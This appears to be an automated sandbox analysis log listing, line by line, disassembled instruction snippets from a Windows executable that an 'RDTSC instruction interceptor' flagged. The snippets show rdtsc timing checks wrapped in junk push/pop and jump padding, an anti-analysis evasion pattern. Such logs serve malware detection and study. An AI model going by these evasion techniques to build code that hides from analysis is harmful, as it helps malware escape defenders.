Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D75E4 second address: 3D75E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D75E8 second address: 3D7604 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 je 00007EFEF4E8FF82h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007EFEF4E8FF6Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D783C second address: 3D7840 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D7840 second address: 3D7852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jp 00007EFEF4E8FF74h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D79DB second address: 3D79E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D31Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D79E9 second address: 3D7A40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop ecx 0x00000012 push edi 0x00000013 jg 00007EFEF4E8FF66h 0x00000019 pop edi 0x0000001a popad 0x0000001b pop eax 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007EFEF4E8FF68h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 00000016h 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 call 00007EFEF4E8FF69h 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D7A40 second address: 3D7A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D7A44 second address: 3D7A5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D7A5A second address: 3D7A64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007EFEF544D316h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D7A64 second address: 3D7A76 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007EFEF4E8FF66h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D7A76 second address: 3D7AC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push edx 0x0000000c jmp 00007EFEF544D327h 0x00000011 pop edx 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 push ecx 0x00000016 jmp 00007EFEF544D31Dh 0x0000001b pop ecx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 popad 0x00000022 popad 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 jc 00007EFEF544D328h 0x0000002d push eax 0x0000002e push edx 0x0000002f jne 00007EFEF544D316h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D7DEA second address: 3D7DEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D7FA7 second address: 3D7FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D7FAB second address: 3D7FC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D854E second address: 3D8555 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D879A second address: 3D87A9 instructions: 0x00000000 rdtsc 0x00000002 je 00007EFEF4E8FF66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D87A9 second address: 3BFD15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFEF544D320h 0x00000009 popad 0x0000000a pop ecx 0x0000000b nop 0x0000000c ja 00007EFEF544D318h 0x00000012 lea eax, dword ptr [ebp+1248813Ch] 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007EFEF544D318h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 0000001Bh 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 mov edx, 2113A291h 0x00000037 mov edi, dword ptr [ebp+122D2AAEh] 0x0000003d nop 0x0000003e jns 00007EFEF544D31Ah 0x00000044 push eax 0x00000045 je 00007EFEF544D323h 0x0000004b jmp 00007EFEF544D31Dh 0x00000050 nop 0x00000051 or ecx, 30AE7F77h 0x00000057 call dword ptr [ebp+122D232Fh] 0x0000005d push eax 0x0000005e push edx 0x0000005f push edi 0x00000060 jno 00007EFEF544D316h 0x00000066 pop edi 0x00000067 pushad 0x00000068 jmp 00007EFEF544D321h 0x0000006d js 00007EFEF544D316h 0x00000073 jns 00007EFEF544D316h 0x00000079 popad 0x0000007a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3BFD15 second address: 3BFD1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007EFEF4E8FF66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3BFD1F second address: 3BFD6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D320h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jnl 00007EFEF544D316h 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop edx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 jg 00007EFEF544D316h 0x0000001e jmp 00007EFEF544D326h 0x00000023 pop ebx 0x00000024 push edx 0x00000025 jmp 00007EFEF544D31Dh 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3BFD6F second address: 3BFD74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3BFD74 second address: 3BFD7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3BFD7A second address: 3BFD7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4152A9 second address: 4152AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 415548 second address: 41557E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007EFEF4E8FF8Fh 0x0000000d jmp 00007EFEF4E8FF74h 0x00000012 jmp 00007EFEF4E8FF75h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 41557E second address: 415584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 41D247 second address: 41D253 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 41D253 second address: 41D25D instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFEF544D316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 394D61 second address: 394D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFEF4E8FF6Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 394D74 second address: 394D79 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 394D79 second address: 394D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 423065 second address: 42306B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42306B second address: 423072 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 421DDA second address: 421DDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 421F52 second address: 421F58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 421F58 second address: 421F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 422350 second address: 42237A instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFEF4E8FF66h 0x00000008 jne 00007EFEF4E8FF66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 push eax 0x00000012 pop eax 0x00000013 jmp 00007EFEF4E8FF76h 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4224E3 second address: 4224E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4224E7 second address: 4224ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4224ED second address: 422514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 jg 00007EFEF544D316h 0x0000000e jmp 00007EFEF544D325h 0x00000013 pop edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 421828 second address: 42182C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42182C second address: 42183C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007EFEF544D316h 0x0000000a jnl 00007EFEF544D316h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42597D second address: 425983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 425983 second address: 425996 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFEF544D316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 425996 second address: 4259B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF76h 0x00000007 js 00007EFEF4E8FF66h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 425513 second address: 42551F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007EFEF544D316h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42551F second address: 425524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 425524 second address: 42552C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42552C second address: 425532 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 425532 second address: 425542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007EFEF544D316h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42893D second address: 428954 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF73h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42DF5B second address: 42DF62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42DF62 second address: 42DF79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007EFEF4E8FF66h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007EFEF4E8FF66h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42DF79 second address: 42DF89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42D11A second address: 42D11E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42D11E second address: 42D122 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42D122 second address: 42D128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42D128 second address: 42D153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jne 00007EFEF544D316h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007EFEF544D324h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42D153 second address: 42D177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007EFEF4E8FF72h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007EFEF4E8FF6Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42D177 second address: 42D18B instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFEF544D31Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007EFEF544D316h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42D30E second address: 42D318 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFEF4E8FF66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42D318 second address: 42D327 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jbe 00007EFEF544D316h 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42D327 second address: 42D33C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007EFEF4E8FF6Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42D8D3 second address: 42D90F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D327h 0x00000007 jmp 00007EFEF544D329h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jbe 00007EFEF544D31Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42D90F second address: 42D943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFEF4E8FF74h 0x0000000d jmp 00007EFEF4E8FF78h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42DAA2 second address: 42DAA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42DAA7 second address: 42DAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 42DAAD second address: 42DADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFEF544D31Fh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007EFEF544D31Fh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 433F4F second address: 433F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 433F55 second address: 433F5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 433F5B second address: 433F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 433F60 second address: 433F7F instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFEF544D322h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007EFEF544D34Dh 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 432829 second address: 43282D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 43282D second address: 432831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 432831 second address: 432841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007EFEF4E8FF66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 432E67 second address: 432E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4378E3 second address: 4378F6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007EFEF4E8FF6Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4378F6 second address: 43790C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007EFEF544D316h 0x0000000c jnc 00007EFEF544D316h 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 43FAEE second address: 43FAF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 43FAF4 second address: 43FAF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 43FAF9 second address: 43FB3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007EFEF4E8FF6Eh 0x00000013 jns 00007EFEF4E8FF66h 0x00000019 popad 0x0000001a jmp 00007EFEF4E8FF6Ch 0x0000001f rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 43E21C second address: 43E231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFEF544D321h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 43E231 second address: 43E235 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 43E235 second address: 43E245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 ja 00007EFEF544D316h 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 43E245 second address: 43E24B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 43E24B second address: 43E251 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 43E251 second address: 43E267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007EFEF4E8FF7Eh 0x0000000e jc 00007EFEF4E8FF6Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 43EA98 second address: 43EA9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
